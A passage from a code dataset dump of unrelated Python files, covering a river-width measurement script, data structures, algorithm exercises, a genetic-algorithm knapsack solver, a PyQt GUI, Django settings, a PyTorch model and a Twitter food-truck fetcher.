'r2_dataframe.csv')\n \n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(\n description='Return Channel Width and Bar Width Measurements'\n )\n parser.add_argument('DEMpath', metavar='dem', type=str,\n help='Path to the DEM file')\n parser.add_argument('CenterlinePath', metavar='c', type=str,\n help='Path to the centerline coordinates file')\n parser.add_argument('BarPath', metavar='b', type=str,\n help='Path to the bar coordinates file')\n parser.add_argument('esaPath', metavar='esa', type=str,\n help='Path to the esa file')\n parser.add_argument('CenterlineSmoothing', metavar='cs', type=int,\n help='Smoothing factor for the channel coordinates')\n parser.add_argument('SectionLength', metavar='sl', type=int,\n help='Length of the cross section to take')\n parser.add_argument('SectionSmoothing', metavar='ss', type=int,\n help='Smoothing factor for the cross-sections')\n parser.add_argument('WidthSens', metavar='ws', type=int,\n help='Sensitivity of the channel width measurement')\n parser.add_argument('OutputRoot', metavar='out', type=str,\n help='Root for the file outputs')\n\n args = parser.parse_args()\n\n main(args.DEMpath, args.CenterlinePath, args.BarPath, args.esaPath,\n args.CenterlineSmoothing, args.SectionLength,\n args.SectionSmoothing, args.WidthSens, args.OutputRoot)\n","sub_path":"src/old/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":17158,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"545019717","text":"# -*- coding: UTF-8\nfrom __future__ import print_function\n\n\nclass Node(object):\n\n def __init__(self, qnumber, label):\n self.qnumber = qnumber\n self.label = label\n self.next = None\n try:\n int(''.join(label.split()[-1:]))\n self.point_in_time = int(''.join(label.split()[-1:]))\n except ValueError:\n try:\n int(''.join(label.split()[:1]))\n self.point_in_time = ''.join(label.split()[:1])\n except ValueError:\n self.point_in_time = ' '.join(label.split()[2:])\n\n\nclass LinkedList(object):\n TAB = '\t'\n\n def __init__(self):\n self.head = None\n self.tail = None\n self.length = 0\n self.qprint_len = 0\n self.value_print_len = 0\n\n def add_node(self, node):\n if self.length == 0:\n # Add node to an empty list\n self.head = node\n self.tail = node\n self.length += 1\n elif node.point_in_time < self.head.point_in_time:\n # Add new head\n self.add_head(node)\n elif node.point_in_time > self.tail.point_in_time:\n # Add new tail\n self.add_tail(node)\n else:\n # Add node to a list with at least two other nodes\n self.add_node_to_position(node)\n\n def add_head(self, node):\n '''\n Add a node as the new head of the list.\n '''\n tmp = self.head\n self.head = node\n node.next = tmp\n self.length += 1\n\n def add_tail(self, node):\n '''\n Add a node as the new tail of the list.\n '''\n tmp = self.tail\n self.tail = node\n tmp.next = node\n self.length += 1\n\n def add_node_to_position(self, node):\n '''\n Add a node to the list based on the\n value of point_in_time.\n '''\n item = self.head\n while item.point_in_time < node.point_in_time:\n prev = item\n item = item.next\n node.next = item\n prev.next = node\n self.length += 1\n","sub_path":"wdlabelbuilder/simplelinkedlist.py","file_name":"simplelinkedlist.py","file_ext":"py","file_size_in_byte":2079,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"75995032","text":"class Solution(object):\n def findMinArrowShots(self, points):\n \"\"\"\n :type points: List[List[int]]\n :rtype: int\n \"\"\"\n arrow = -sys.maxsize-1\n count = 0\n points.sort(key = lambda x: x[1])\n\n for start, end in points:\n if start > arrow:\n count, arrow = count + 1, end\n\n return count\n","sub_path":"medium/452.minimum-number-of-arrows-to-burst-balloons.py","file_name":"452.minimum-number-of-arrows-to-burst-balloons.py","file_ext":"py","file_size_in_byte":371,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"388634733","text":"# -*- coding:utf-8 -*-\nclass Solution:\n def LastRemaining_Solution(self, n, m):\n # write code here\n # 约瑟夫环问题\n # f(n,m) = (f(n-1, m) + m) % n\n if n == 0:\n return -1\n p = 0\n for i in range(2, n+1):\n p = (p + m) % i\n return p+1\n\nn = 11\nm = 3\nprint(Solution().LastRemaining_Solution(n, m))","sub_path":"OFFER/圆圈中最后剩下的数/code.py","file_name":"code.py","file_ext":"py","file_size_in_byte":371,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"29287135","text":"import matplotlib.pyplot as plt\nimport numpy as np \nimport pandas as pd\nimport seaborn as sns\nimport genetic_functions as gen\nsns.set()\n\nraw = pd.read_csv('loadingdata.txt', sep=' ', header=None)\nraw.columns = ['value', 'weight']\ndf = raw.copy()\ndf['vu'] = df['value'] / df['weight']\ndf_sorted = df.sort_values('vu', ascending=False)\n\nnum_generations = 1000\nelements = 6\npopulation = 10\nmutation_rate = 0.01\nglobal_best = []\ngeneration = 0\ntarget = 10_000\nknapsack_threshold = target\nitem_number = np.arange(0,100)\nweight = df['weight'].values\nvalue = df['weight'].values\n# get the highest value\n\n\npop_size = (population, len(df))\npop_size\n\ninitial_population = np.random.randint(2, size = pop_size)\n\ninitial_population = initial_population.astype(int)\n\ndef cal_fitness(weight, value, population, threshold):\n fitness = np.empty(population.shape[0])\n for i in range(population.shape[0]):\n S1 = np.sum(population[i] * value)\n S2 = np.sum(population[i] * weight)\n if S2 <= threshold:\n fitness[i] = S1\n else :\n fitness[i] = 0 \n return fitness.astype(int) \n\ndef selection(fitness, num_parents, population):\n fitness = list(fitness)\n parents = np.empty((num_parents, population.shape[1]))\n for i in range(num_parents):\n max_fitness_idx = np.where(fitness == np.max(fitness))\n parents[i,:] = population[max_fitness_idx[0][0], :]\n fitness[max_fitness_idx[0][0]] = -999999\n return parents\n\ndef crossover(parents, num_offsprings):\n offsprings = np.empty((num_offsprings, parents.shape[1]))\n crossover_point = int(parents.shape[1]/2)\n crossover_rate = 0.8\n i=0\n while (parents.shape[0] < num_offsprings):\n parent1_index = i%parents.shape[0]\n parent2_index = (i+1)%parents.shape[0]\n x = rd.random()\n if x > crossover_rate:\n continue\n parent1_index = i%parents.shape[0]\n parent2_index = (i+1)%parents.shape[0]\n offsprings[i,0:crossover_point] = parents[parent1_index,0:crossover_point]\n offsprings[i,crossover_point:] = parents[parent2_index,crossover_point:]\n i=+1\n return offsprings \n\ndef mutation(offsprings):\n mutants = np.empty((offsprings.shape))\n mutation_rate = 0.1\n for i in range(mutants.shape[0]):\n random_value = np.random.random()\n mutants[i,:] = offsprings[i,:]\n if random_value > mutation_rate:\n continue\n int_random_value = np.random.randint(0,offsprings.shape[1]-1) \n if mutants[i,int_random_value] == 0 :\n mutants[i,int_random_value] = 1\n else :\n mutants[i,int_random_value] = 0\n return mutants \n\ndef optimize(weight, value, population, pop_size, num_generations, threshold):\n parameters, fitness_history = [], []\n num_parents = int(pop_size[0]/2)\n num_offsprings = pop_size[0] - num_parents \n for i in range(num_generations):\n fitness = cal_fitness(weight, value, population, threshold)\n fitness_history.append(fitness)\n parents = selection(fitness, num_parents, population)\n offsprings = crossover(parents, num_offsprings)\n mutants = mutation(offsprings)\n population[0:parents.shape[0], :] = parents\n population[parents.shape[0]:, :] = mutants\n \n print('Last generation: \\n{}\\n'.format(population)) \n fitness_last_gen = cal_fitness(weight, value, population, threshold) \n print('Fitness of the last generation: \\n{}\\n'.format(fitness_last_gen))\n max_fitness = np.where(fitness_last_gen == np.max(fitness_last_gen))\n parameters.append(population[max_fitness[0][0],:])\n return parameters, fitness_history\n\nparameters, fitness_history = optimize(weight, value, initial_population, pop_size, num_generations, knapsack_threshold)\nprint('The optimized parameters for the given inputs are: \\n{}'.format(parameters))\nselected_items = item_number * parameters\nprint('\\nSelected items that will maximize the knapsack without breaking it:')\nfor i in range(selected_items.shape[1]):\n if selected_items[0][i] != 0:\n # print('{}\\n'.format(selected_items[0][i]))\n pass\n\nfitness_history_mean = [np.mean(fitness) for fitness in fitness_history]\nfitness_history_max = [np.max(fitness) for fitness in fitness_history]\nplt.plot(list(range(num_generations)), fitness_history_mean, label = 'Mean Fitness')\nplt.plot(list(range(num_generations)), fitness_history_max, label = 'Max Fitness')\nplt.legend()\nplt.title('Fitness through the generations')\nplt.xlabel('Generations')\nplt.ylabel('Fitness')\nplt.show()\nprint(np.asarray(fitness_history).shape)\n\nsum_ = 0\nsum_ += df.iloc[14, :1].value\nsum_ += df.iloc[25, :1].value\nsum_ += df.iloc[30, :1].value\nsum_ += df.iloc[32, :1].value\nsum_ += df.iloc[34, :1].value\nsum_ += df.iloc[41, :1].value\nsum_ += df.iloc[77, :1].value\nsum_ += df.iloc[87, :1].value\nsum_\n","sub_path":"03_cargo/genetic-alg.py","file_name":"genetic-alg.py","file_ext":"py","file_size_in_byte":4865,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"473384362","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sat Oct 17 14:36:36 2020\n\n@author: nelso\n\"\"\"\nimport os\nimport pandas as pd\n\ndef is_string(var, var_name: str):\n ''' Check if var is instance of STRING\n Does nothing if var is string, raises TypeError if not\n '''\n if not isinstance(var, str):\n raise TypeError(var_name+' must be string!')\nclass Question:\n \n def __init__(self, text: str, answer: str):\n # check parameter\n is_string(text, 'text')\n is_string(answer, 'answer')\n self._text = text\n self._answer = answer\n self._user_answer = None\n self._type = \"QandA\"\n \n # Setter & Getter ---------------------------------------------------------\n def set_text(self, text: str):\n # check user input\n is_string(text, 'text')\n self._text = text\n \n def get_text(self):\n return self._text\n \n def set_answer(self, answer: str):\n # check user input\n is_string(answer, 'answer')\n self._answer = answer\n \n def get_answer(self):\n return self._answer\n\n def set_user_answer(self, user_answer: str):\n # check input\n is_string(user_answer, 'user_answer')\n self._user_answer = user_answer\n \n def get_user_answer(self):\n return self._user_answer\n \n def get_type(self):\n return self._type\n # -------------------------------------------------------------------------\n \n def verify(self):\n '''\n Return -1: no user input, True, False\n '''\n if self._user_answer:\n return self._user_answer == self._answer\n return -1\n\nclass MCQ(Question):\n \n def __init__(self, text, answer, wrong_one=None, wrong_two=None):\n # check parameter\n is_string(text, 'text')\n is_string(answer, 'answer')\n super().__init__(text, answer)\n self._wrong_one = wrong_one\n self._wrong_two = wrong_two\n self._user_choice = None\n self._type = 'MCQ'\n \n def set_wrong(self, wrong_one: str, wrong_two: str):\n # check parameters\n if not isinstance(wrong_one, str) or not isinstance(wrong_two, str):\n raise TypeError('set_wrong recuires string as arguments')\n self._wrong_one, self._wrong_two = wrong_one, wrong_two\n \n def get_wrong(self):\n return self._wrong_one, self._wrong_two\n \ndef write_q2csv(filename: str, q_type: str, text: str,\n answer: str, wrong1='', wrong2=''):\n ''' writes question to filname.csv'''\n COLUMNS = 'type,text,answer,wrong1,wrong2'\n if os.path.exists('./'+filename):\n # file already in repository\n with open(filename, 'r') as f:\n first_line = f.readline()\n if first_line==COLUMNS+'\\n':\n # file already initialized\n with open(filename, 'a') as f:\n f.write(q_type+','+text+','+answer+','+wrong1+','+wrong2+'\\n')\n else:\n with open(filename, 'w') as f:\n f.write(COLUMNS+'\\n')\n f.write(q_type+','+text+','+answer+','+wrong1+','+wrong2+'\\n')\n else:\n with open(filename, 'w') as f:\n f.write(COLUMNS+'\\n')\n f.write(q_type+','+text+','+answer+','+wrong1+','+wrong2+'\\n')\n\ndef load_question(filename: str, quest_no: int):\n ''' load question from filname.csv'''\n if not os.path.exists('./'+filename):\n raise FileNotFoundError (filename+' not found')\n df = pd.read_csv(filename, nrows=quest_no)\n questions = list()\n for idx, row in df.iterrows():\n if row['type']=='QandA':\n questions.append(Question(row['text'], row['answer']))\n elif row['type']=='MCQ':\n questions.append(MCQ(row['text'], row['answer'],\n row['wrong1'], row['wrong2']))\n else:\n # Question Type not unknown\n pass\n return questions\n\n\n","sub_path":"checklist/build_manag/src/main/python/game_data.py","file_name":"game_data.py","file_ext":"py","file_size_in_byte":3926,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"149964815","text":"import sys\r\nimport os\r\nfrom PyQt5 import QtCore, QtWidgets\r\nfrom PyQt5.QtWidgets import QMainWindow, QLabel, QCheckBox, QWidget, QFileDialog, QPushButton, QTextEdit\r\nfrom PyQt5.QtCore import QSize \r\nfrom PyQt5.QtGui import QFont, QColor \r\nimport MainSetCorpus as SetCorp \r\nimport MainTraining as train\r\nimport MainPredict as predict\r\n\r\n\r\n \r\n#CLASS FOR WINDOW CREATION \r\nclass Window(QMainWindow):\r\n \r\n #DEFINE GLOBAL VARIABLE ROOT \r\n MainRoot = ''\r\n MainRootT = ''\r\n AudioTextFlag = 0 #2 for both, 1 for only text, 0 for only audio\r\n FlagLMA = 1 #0 create new model file during training, 1 use the one already existing\r\n FlagLMT = 1\r\n \r\n def __init__(self):\r\n QMainWindow.__init__(self)\r\n \r\n #WINDOW SIZE\r\n self.setGeometry(600, 200, 740, 600) \r\n self.setWindowTitle(\"Emotional Neural Network\") \r\n \r\n # Set window background color\r\n self.setAutoFillBackground(True)\r\n p = self.palette()\r\n p.setColor(self.backgroundRole(), QColor(255, 239, 201))\r\n self.setPalette(p)\r\n \r\n #CHECK POINTS GRAFIC\r\n x = 20\r\n ya = 20\r\n yb = 120\r\n yc = 220\r\n xbutton = 520\r\n ybutton = 30\r\n \r\n #LABELS\r\n fontLabel = QFont()\r\n fontLabel.setBold(True)\r\n fontLabel.setPixelSize(13)\r\n self.l1 = QLabel(self)\r\n self.l1.setText('Select Corpus')\r\n self.l1.setFont(fontLabel)\r\n self.l1.setFixedSize(200,20)\r\n self.l1.move(x,ya)\r\n self.l2 = QLabel(self)\r\n self.l2.setText('Select NN type (default Audio)')\r\n self.l2.setFont(fontLabel)\r\n self.l2.setFixedSize(200,20)\r\n self.l2.move(x,yb)\r\n self.l3 = QLabel(self)\r\n self.l3.setText('Create new Models File')\r\n self.l3.setFont(fontLabel)\r\n self.l3.setFixedSize(200,20)\r\n self.l3.move(x,yc)\r\n \r\n #CHECKBOXS\r\n fontBox = QFont()\r\n fontBox.setPixelSize(12)\r\n self.b1 = QCheckBox(\"Original Corpus\",self)\r\n self.b1.stateChanged.connect(self.clickBoxOriginal)\r\n self.b1.setFont(fontBox)\r\n self.b1.move(x+10,ya+20)\r\n self.b2 = QCheckBox(\"Fake Corpus\",self)\r\n self.b2.stateChanged.connect(self.clickBoxFake)\r\n self.b2.setFont(fontBox)\r\n self.b2.move(x+10,ya+40)\r\n self.b3 = QCheckBox(\"Lav\",self)\r\n self.b3.stateChanged.connect(self.clickBoxLav)\r\n self.b3.setFont(fontBox)\r\n self.b3.move(x+10,ya+60)\r\n self.b4 = QCheckBox(\"Audio\",self)\r\n self.b4.stateChanged.connect(self.clickBoxA)\r\n self.b4.setFont(fontBox)\r\n self.b4.move(x+10,yb+20)\r\n self.b5 = QCheckBox(\"Text\",self)\r\n self.b5.stateChanged.connect(self.clickBoxT)\r\n self.b5.setFont(fontBox)\r\n self.b5.move(x+10,yb+40)\r\n self.b6 = QCheckBox(\"Audio+Text\",self)\r\n self.b6.stateChanged.connect(self.clickBoxAT)\r\n self.b6.setFont(fontBox)\r\n self.b6.move(x+10,yb+60)\r\n self.b7 = QCheckBox(\"Audio Model\",self)\r\n self.b7.stateChanged.connect(self.clickBoxFlagMA)\r\n self.b7.setFont(fontBox)\r\n self.b7.move(x+10,yc+20)\r\n self.b8 = QCheckBox(\"Text Model\",self)\r\n self.b8.stateChanged.connect(self.clickBoxFlagMT)\r\n self.b8.setFont(fontBox)\r\n self.b8.move(x+10,yc+40)\r\n \r\n #BUTTONS\r\n self.btn_setCorpus = QPushButton(\"SET CORPUS\", self)\r\n self.btn_setCorpus.clicked.connect(self.runSetCorpus)\r\n self.btn_setCorpus.setStyleSheet(\"background-color:rgb(255, 220, 201)\")\r\n self.btn_setCorpus.setFixedSize(200,50)\r\n self.btn_setCorpus.move(xbutton,ybutton)\r\n #\r\n self.btn_runTraining = QPushButton(\"RUN TRAINING\", self)\r\n self.btn_runTraining.clicked.connect(self.runTraining)\r\n self.btn_runTraining.setStyleSheet(\"background-color:rgb(255, 220, 201)\")\r\n self.btn_runTraining.setFixedSize(200,50)\r\n self.btn_runTraining.move(xbutton,ybutton+60)\r\n #\r\n self.btn_runTest = QPushButton(\"RUN TEST\", self)\r\n self.btn_runTest.clicked.connect(self.runTest)\r\n self.btn_runTest.setStyleSheet(\"background-color:rgb(255, 220, 201)\")\r\n self.btn_runTest.setFixedSize(200,50)\r\n self.btn_runTest.move(xbutton,ybutton+120)\r\n \r\n #CONSOLE LOG\r\n self.logOutput = QTextEdit(self)\r\n self.logOutput.setReadOnly(True)\r\n self.logOutput.setLineWrapMode(QTextEdit.NoWrap)\r\n font = self.logOutput.font()\r\n font.setFamily(\"Courier\")\r\n font.setPointSize(14)\r\n self.logOutput.setFixedSize(700,250)\r\n self.logOutput.move(20,300)\r\n #Button clear log\r\n self.btn_clear = QPushButton(\"Clear Logs\", self)\r\n self.btn_clear.clicked.connect(self.clearLog)\r\n self.btn_clear.setFixedSize(100,25)\r\n self.btn_clear.move(620,560) \r\n \r\n \r\n #LOG METHODS\r\n def printLog(self, text):\r\n self.logOutput.insertPlainText(text+'\\n')\r\n sb = self.logOutput.verticalScrollBar()\r\n sb.setValue(sb.maximum()) \r\n def clearLog(self):\r\n self.logOutput.clear() \r\n \r\n \r\n #CHECKBOX METHODS \r\n def clickBoxOriginal(self, state):\r\n if state == QtCore.Qt.Checked:\r\n self.MainRootT = os.path.normpath('D:\\DATA\\POLIMI\\----TESI-----\\Corpus_Training')\r\n self.MainRoot = os.path.normpath('D:\\DATA\\POLIMI\\----TESI-----\\Corpus_Test')\r\n txt = 'Checked on roots: '+self.MainRoot+', AND, '+self.MainRootT\r\n self.printLog(txt)\r\n else:\r\n self.MainRoot = ''\r\n self.printLog('Unchecked clickBoxOriginal') \r\n \r\n def clickBoxFake(self, state):\r\n if state == QtCore.Qt.Checked:\r\n self.MainRoot = os.path.normpath('D:\\DATA\\POLIMI\\----TESI-----\\Corpus_Test_Training')\r\n self.MainRootT = os.path.normpath('D:\\DATA\\POLIMI\\----TESI-----\\Corpus_Test_Training')\r\n txt = 'Checked on roots: '+self.MainRoot+', AND, '+self.MainRootT\r\n self.printLog(txt)\r\n else:\r\n self.MainRoot = ''\r\n self.printLog('Unchecked clickBoxFake')\r\n \r\n def clickBoxLav(self, state):\r\n if state == QtCore.Qt.Checked:\r\n self.MainRoot = os.path.normpath(r'C:\\Users\\JORIGGI00\\Documents\\MyDOCs\\Corpus_Test_Training')\r\n self.MainRootT = os.path.normpath(r'C:\\Users\\JORIGGI00\\Documents\\MyDOCs\\Corpus_Test_Training')\r\n txt = 'Checked on roots: '+self.MainRoot+', AND, '+self.MainRootT\r\n self.printLog(txt)\r\n else:\r\n self.MainRoot = ''\r\n self.printLog('Unchecked clickBoxLav') \r\n \r\n def clickBoxA(self, state):\r\n if state == QtCore.Qt.Checked:\r\n self.AudioTextFlag = 0\r\n txt = 'Checked only audio'\r\n self.printLog(txt)\r\n else:\r\n self.AudioTextFlag = 0\r\n \r\n def clickBoxT(self, state):\r\n if state == QtCore.Qt.Checked:\r\n self.AudioTextFlag = 1\r\n txt = 'Checked only text'\r\n self.printLog(txt)\r\n else:\r\n self.AudioTextFlag = 0 \r\n \r\n def clickBoxAT(self, state):\r\n if state == QtCore.Qt.Checked:\r\n self.AudioTextFlag = 2\r\n txt = 'Checked audio and text'\r\n self.printLog(txt)\r\n else:\r\n self.AudioTextFlag = 0 \r\n \r\n def clickBoxFlagMA(self, state):\r\n if state == QtCore.Qt.Checked:\r\n self.FlagLMA = 0\r\n txt = 'Checked Load Model Audio'\r\n self.printLog(txt)\r\n else:\r\n self.FlagLMA = 1\r\n \r\n def clickBoxFlagMT(self, state):\r\n if state == QtCore.Qt.Checked:\r\n self.FlagLMT = 0\r\n txt = 'Checked Load Model Text'\r\n self.printLog(txt)\r\n else:\r\n self.FlagLMT = 1 \r\n \r\n \r\n #BUTTONS METHODS \r\n def runSetCorpus(self, w):\r\n if (self.MainRoot == ''):\r\n self.printLog('Select one Root checkbox')\r\n else:\r\n txt = 'Set Corpus on roots: '+self.MainRoot+', AND, '+self.MainRootT\r\n self.printLog(txt)\r\n SetCorp.mainSetCorpus(self.MainRoot,self.MainRootT)\r\n self.printLog('END of set Corpus')\r\n \r\n def runTraining(self, w):\r\n if self.MainRoot == '':\r\n self.printLog('Select one Root checkbox')\r\n else:\r\n txt = 'Run training with root: '+self.MainRoot\r\n self.printLog(txt) \r\n train.mainTraining(self.MainRoot, self.AudioTextFlag, self.FlagLMA, self.FlagLMT)\r\n self.printLog('END of Training') \r\n \r\n def runTest(self, w):\r\n if self.MainRoot == '':\r\n self.printLog('Select one Root checkbox')\r\n else:\r\n txt = 'Set Test with roots: '+self.MainRoot+', AND, '+self.MainRootT\r\n self.printLog(txt) \r\n predict.mainPredict(self.MainRoot, self.MainRootT, self.AudioTextFlag)\r\n self.printLog('END of Test') \r\n \r\n \r\nif __name__ == \"__main__\":\r\n app = QtWidgets.QApplication(sys.argv)\r\n mainWin = Window()\r\n mainWin.show()\r\n sys.exit(app.exec_())\r\n\r\n","sub_path":"GUI.py","file_name":"GUI.py","file_ext":"py","file_size_in_byte":9343,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"226960764","text":"#!/usr/bin/python\n\n###################################################\n# createIndex.py #\n#\t\t\t\t\t\t #\n# Given dictionary terms from the standard in, #\n# creates an \"index\" which stores each word in #\n# association with its ASCII-sorted anagram. #\n# This index is sorted and then printed to the #\n# standard output in the following format: #\n# asciisort(word)|word #\n#\t\t\t\t\t\t #\n# Arguments: none\t\t\t\t #\n#\t\t\t\t\t\t #\n# Author: David Storch #\n# login - dstorch\t\t\t #\n# 2 Feb 2011\t\t\t\t #\n###################################################\n\n# for IO\nimport sys\n\n# to create a hashmap whose values are lists\nfrom collections import defaultdict\n\n# mapping from anagram to list of dictionary words\nindex = defaultdict(list)\n\n# set to false one EOF is received\nreceiveInput = True\n\n# get input line by line from stdin\nwhile receiveInput:\n\ttry:\n\t\tdict_term = raw_input()\n\t\tchar_list = sorted(list(dict_term))\n\t\tanagram = \"\"\n\t\tfor s in char_list:\n\t\t\tanagram += s\n\t\tindex[anagram].append(dict_term)\n\texcept EOFError:\n\t\treceiveInput = False\n\n# sort the dictionary by key\nsorted_key_list = sorted(index)\n\n# iterate over the dictionary and print the result\nfor key in sorted_key_list:\n\t\n\t# get a sorted version of the dictionary terms\n\t# corresponding to this key\n\tsorted_dict_terms = sorted(index[key])\n\t\n\tfor s in sorted_dict_terms:\n\t\tsys.stdout.write(key)\n\t\tsys.stdout.write(\"|\")\n\t\tsys.stdout.write(s)\n\t\tsys.stdout.write(\"\\n\")\n\n\n","sub_path":"dstorch/cs158/warmup/handin/createIndex.py","file_name":"createIndex.py","file_ext":"py","file_size_in_byte":1539,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"411490094","text":"# Django settings for opverao project.\nonde = 'linux'\ndiretorios = {'windows':\n {'templates':'C:/Rafael/cade/opverao/templates/'},\n 'linux' :\n {'templates':'/home/rafael/prog/opverao/templates/'}\n }\nimport deseb\nDEBUG = True\nTEMPLATE_DEBUG = DEBUG\n\nADMINS = (\n # ('Your Name', 'your_email@domain.com'),\n)\n\nMANAGERS = ADMINS\n\nDATABASE_ENGINE = 'sqlite3' # 'postgresql_psycopg2', 'postgresql', 'mysql', 'sqlite3' or 'oracle'.\nDATABASE_NAME = 'opverao.db' # Or path to database file if using sqlite3.\nDATABASE_USER = 'root' # Not used with sqlite3.\nDATABASE_PASSWORD = '' # Not used with sqlite3.\nDATABASE_HOST = '' # Set to empty string for localhost. Not used with sqlite3.\nDATABASE_PORT = '' # Set to empty string for default. Not used with sqlite3.\n\n# Local time zone for this installation. Choices can be found here:\n# http://en.wikipedia.org/wiki/List_of_tz_zones_by_name\n# although not all choices may be avilable on all operating systems.\n# If running in a Windows environment this must be set to the same as your\n# system time zone.\nTIME_ZONE = 'America/Sao Paulo'\n\n# Language code for this installation. All choices can be found here:\n# http://www.i18nguy.com/unicode/language-identifiers.html\nLANGUAGE_CODE = 'pt-br'\n\nSITE_ID = 1\n\n# If you set this to False, Django will make some optimizations so as not\n# to load the internationalization machinery.\nUSE_I18N = True\n\n# Absolute path to the directory that holds media.\n# Example: \"/home/media/media.lawrence.com/\"\nMEDIA_ROOT = 'C:/Rafael/teste_fotos'\n\n# URL that handles the media served from MEDIA_ROOT. Make sure to use a\n# trailing slash if there is a path component (optional in other cases).\n# Examples: \"http://media.lawrence.com\", \"http://example.com/media/\"\n#MEDIA_URL = 'http://127.0.0.1/fotos/'\nMEDIA_URL = ''\n\n# URL prefix for admin media -- CSS, JavaScript and images. Make sure to use a\n# trailing slash.\n# Examples: \"http://foo.com/media/\", \"/media/\".\nADMIN_MEDIA_PREFIX = '/media/'\n\n# Make this unique, and don't share it with anybody.\nSECRET_KEY = 'vut%1r1t5hj5xq-(u0#@v__dh%1x=+e@ke9-%hz_)th1%@#+*v'\n\n# List of callables that know how to import templates from various sources.\nTEMPLATE_LOADERS = (\n 'django.template.loaders.filesystem.load_template_source',\n 'django.template.loaders.app_directories.load_template_source',\n# 'django.template.loaders.eggs.load_template_source',\n)\n\nMIDDLEWARE_CLASSES = (\n 'django.middleware.common.CommonMiddleware',\n 'django.contrib.sessions.middleware.SessionMiddleware',\n 'django.contrib.auth.middleware.AuthenticationMiddleware',\n 'django.middleware.doc.XViewMiddleware',\n)\n\nROOT_URLCONF = 'opverao.urls'\n\nTEMPLATE_DIRS = (\n # Put strings here, like \"/home/html/django_templates\" or \"C:/www/django/templates\".\n # Always use forward slashes, even on Windows.\n # Don't forget to use absolute paths, not relative paths.\n diretorios[ onde ]['templates'],\n #'C:/RafaelJamur/django/Python25/Lib/site-packages/django/contrib/databrowse/templates/databrowse',\n)\n\nINSTALLED_APPS = (\n 'django.contrib.auth',\n 'django.contrib.contenttypes',\n 'django.contrib.sessions',\n 'django.contrib.sites',\n 'django.contrib.admin',\n 'django.contrib.databrowse',\n 'opverao.cadestagiarios',\n #'django_evolution',\n)\n","sub_path":"settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":3403,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"55376607","text":"import math\nimport torch\nimport torch.nn as nn\nfrom utils import reset_params\nfrom layers import DynamicLSTM, Attention, MeanPooling, LinearLayer\n\nclass TransDelta(nn.Module):\n ''' Bi-GRU network with soft transferring '''\n def __init__(self, embedding_matrix, opt):\n super(TransDelta, self).__init__()\n \n WD = opt.word_dim\n HD = opt.hidden_dim\n \n self.word_embedding = nn.Embedding.from_pretrained(torch.tensor(embedding_matrix, dtype=torch.float))\n self.shared_params = nn.ParameterDict()\n self.shared_modules = nn.ModuleDict({\n 'rnn': DynamicLSTM(WD, HD, num_layers=opt.layer_num, batch_first=True, bidirectional=opt.bidirectional, rnn_type=opt.rnn_type)\n })\n reset_params(self.shared_modules['rnn'], opt.initializer)\n \n for name, param in self.shared_modules.named_parameters():\n name = name.split('.')[-1]\n self.shared_params[f\"common_{name}\"] = nn.Parameter(param.data, requires_grad=True)\n self.shared_params[f\"main_{name}\"] = nn.Parameter(torch.zeros_like(param), requires_grad=True)\n self.shared_params[f\"aux_{name}\"] = nn.Parameter(torch.zeros_like(param), requires_grad=True)\n \n output_layers = {\n 'attention': {'asc': Attention, 'dsc': MeanPooling, 'ae': LinearLayer},\n 'mean_pooling': {'asc': MeanPooling, 'dsc': MeanPooling, 'ae': LinearLayer}\n }\n self.output = nn.ModuleDict({side: output_layers[opt.output_layer][opt.tasks[side]](opt) for side in ['main', 'aux']})\n self.threshold = nn.Parameter(torch.tensor(-math.log(1/opt.beta-1)), requires_grad=True)\n self.dropout = nn.Dropout(opt.dropout)\n self.zeta = 0.0 if opt.hard_M else opt.zeta\n self.model_hard_transfer = opt.hard_M\n \n def forward(self, inputs, side):\n text = inputs[0]\n text_len = torch.sum(text!=0, dim=-1)\n rnn_input = self.word_embedding(text)\n rnn_output, _ = self.shared_modules['rnn'](self.dropout(rnn_input), text_len)\n return self.output[side](inputs, rnn_input, rnn_output)\n \n def update_params(self, side):\n self.shared_modules.zero_grad()\n for name, param in self.shared_modules.named_parameters():\n name = name.split('.')[-1]\n if self.model_hard_transfer:\n new_param = self.shared_params[f\"common_{name}\"]\n else:\n new_param = self.shared_params[f\"common_{name}\"] + self.shared_params[f\"{side}_{name}\"]\n setattr(param, 'data', new_param.data)\n \n def compute_final_loss(self, side):\n final_loss, norm_loss = 0, 0\n for name, param in self.shared_modules.named_parameters():\n name = name.split('.')[-1]\n if self.model_hard_transfer:\n temp = self.shared_params[f\"common_{name}\"]\n else:\n temp = self.shared_params[f\"common_{name}\"] + self.shared_params[f\"{side}_{name}\"]\n final_loss += torch.sum(temp * param.grad)\n norm_loss += torch.sum(torch.pow(self.shared_params[f\"{side}_{name}\"], 2))\n return final_loss + self.zeta * norm_loss\n \n","sub_path":"models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":3195,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"16"} +{"seq_id":"228152600","text":"import sys\nsys.path.insert(0, 'libs')\nfrom twitter import *\nfrom settings import *\nimport datetime\nfrom dateutil import parser, tz\n\n\ndef get_trucks():\n # authenticate to twitter\n t = Twitter(\n auth=OAuth(\n OAUTH_TOKEN,\n OAUTH_SECRET,\n CONSUMER_KEY,\n CONSUMER_SECRET)\n )\n results = []\n for truck in FOOD_TRUCK_HANDLES:\n out = FOOD_TRUCK_HANDLES[truck].copy()\n result = parse_tweets(t.statuses.user_timeline(screen_name=out['username'],\n exclude_replies=True,\n contributor_details=False,\n include_rts=False))\n out['tweet'] = result[0]\n out['geo'] = result[1]\n 